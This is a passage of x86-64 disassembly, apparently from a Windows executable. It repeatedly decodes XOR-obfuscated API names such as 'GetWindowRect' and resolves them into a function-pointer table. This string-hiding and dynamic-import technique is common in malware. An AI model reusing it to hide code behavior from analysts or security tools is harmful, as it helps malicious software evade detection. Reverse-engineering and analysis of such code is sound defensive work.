movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2e60]
mov r13, qword [rbp + 0x460]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x190], rax
movabs rax, 0x1f5486238af28e2
mov qword [rbp + 0xa040], rax
movabs rax, 0x749498494ab1eafb
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6e91260b6fdb4da5
mov qword [rbp + 0xa060], rax
movabs rax, 0x7494983d29d4b88c
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2f40]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2f40]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x198], rax
movabs rax, 0x13017eb701ed1610
mov qword [rbp + 0xa040], rax
movabs rax, 0x60ede9093b203054
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x7c550ad964847a53
mov qword [rbp + 0xa060], rax
movabs rax, 0x60ed876c5e525307
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x80], xmm2
lea rcx, [rbp + 0x3020]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x3020]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1a0], rax
movabs rax, 0x84b74fd342bdbfc
mov qword [rbp + 0xa040], rax
movabs rax, 0x69961f057157fd04
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x671f1a985159b8af
mov qword [rbp + 0xa060], rax
movabs rax, 0x69966b6b143e9147
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x80], xmm2
lea rcx, [rbp + 0x3110]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x3110]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1a8], rax
movabs rax, 0x20cf70fb7c66bbb
mov qword [rbp + 0xa040], rax
movabs rax, 0x1e945bd01ea9e80c
mov qword [rbp + 0xa048], rax
movabs rax, 0x17f2dd2462
mov qword [rbp + 0xa050], rax
movabs rcx, 0x70eef40f550
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x65698560f1b20efc
mov qword [rbp + 0xa080], rax
movabs rax, 0x70fd0cb470dc877e
mov qword [rbp + 0xa088], rax
movabs rax, 0x17f2aa4b06
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x4340]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140038630
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x4340]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1b0], rax
movabs rax, 0x19ec6371228ecabc
mov qword [rbp + 0xa040], rax
movabs rax, 0x94f886c01f91c75
mov qword [rbp + 0xa048], rax
movabs rax, 0x181f02b0b9
mov qword [rbp + 0xa050], rax
movabs rcx, 0x70f3a36d8b8
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7e89111e64faafef
mov qword [rbp + 0xa080], rax
movabs rax, 0x6726df086f8c7307
mov qword [rbp + 0xa088], rax
movabs rax, 0x181f75dfdd
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x4480]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400387a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x4480]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1b8], rax
movabs rax, 0x16031517d6b93b11
mov qword [rbp + 0xa040], rax
movabs rax, 0x63e5dc711d23a06a
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x79677b7e81cd5e56
mov qword [rbp + 0xa060], rax
movabs rax, 0x63e58b056546f41d
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x3200]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x3200]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1d0], rax
movabs rax, 0x1e931e14746b75d2
mov qword [rbp + 0xa040], rax
movabs rax, 0x316d741ceb203355
mov qword [rbp + 0xa048], rax
movabs rax, 0x112daea2e1
mov qword [rbp + 0xa050], rax
movabs rcx, 0x3cdda258a09
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x49e77b53180a1080
mov qword [rbp + 0xa080], rax
movabs rax, 0x5001376b84445d3c
mov qword [rbp + 0xa088], rax
movabs rax, 0x112df9d192
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x45c0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140038a20
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x45c0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1d8], rax
movabs rax, 0x1c5b46fae21a33c9
mov qword [rbp + 0xa000], rax
movabs rcx, 0x1dc3739b40a7d02f
mov qword [rbp + 0xa008], rcx
movabs rax, 0x1c5b3093a6764684
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x1390], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x13a0], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp + 0x13b0], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x13c0], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp + 0x13d0], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x13e0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x13f0], xmm1
lea r8, [rbp + 0x1390]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1e0], rax
movabs rax, 0xc76d91ed46aad1e
mov qword [rbp + 0xa040], rax
movabs rax, 0x4088d317f43f9fa2
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x5c1ab86ba018c448
mov qword [rbp + 0xa060], rax
movabs rax, 0x4088a774914bf0d0
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x70], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x2c90]
lea rax, [rbp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2c90]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1e8], rax
movabs rax, 0x1fe63b02683bc845
mov qword [rbp + 0xa040], rax
movabs rax, 0x7ffdc38ac1070b66
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x77b25e76095eba06
mov qword [rbp + 0xa060], rax
movabs rax, 0x7ffdc38aa5666e14
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x23a0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x23a0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1f0], rax
movabs rax, 0x3dde8cc5f45df5b
mov qword [rbp + 0xa040], rax
movabs rax, 0x1b087d37849a55a3
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe00000002001f296
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x62b89aa40b31ba1c
mov qword [rbp + 0xa080], rax
movabs rax, 0x6f701843eaf516c7
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x3ac0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140038e40
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3ac0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1f8], rax
movabs rax, 0x71deb1b6205e8d6
mov qword [rbp + 0xa040], rax
movabs rax, 0x16530761792bff6
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe00000002001f724
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6678997336718d85
mov qword [rbp + 0xa080], rax
movabs rax, 0x751d550279fdfc92
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x3bd0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140038f80
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3bd0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x200], rax
movabs rax, 0x57a3563756cea35
mov qword [rbp + 0xa040], rax
movabs rax, 0x745a70f5ff65a203
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6d2e500e001f8f67
mov qword [rbp + 0xa060], rax
movabs rax, 0x745a70f59b04c771
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2470]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x2470]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x208], rax
movabs rax, 0x1a4c25a68dec85bc
mov qword [rbp + 0xa040], rax
movabs rax, 0x61125445f430c5f
mov qword [rbp + 0xa048], rax
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe00000002001ef85
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6e2d4bcfe09ee0e8
mov qword [rbp + 0xa080], rax
movabs rax, 0x7562402730315c3a
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x3ce0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400391d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3ce0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x210], rax
movabs rax, 0x11356a65700ad940
mov qword [rbp + 0xa040], rax
movabs rax, 0x7c2eb4f0d7fba999
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x7f5422000365b503
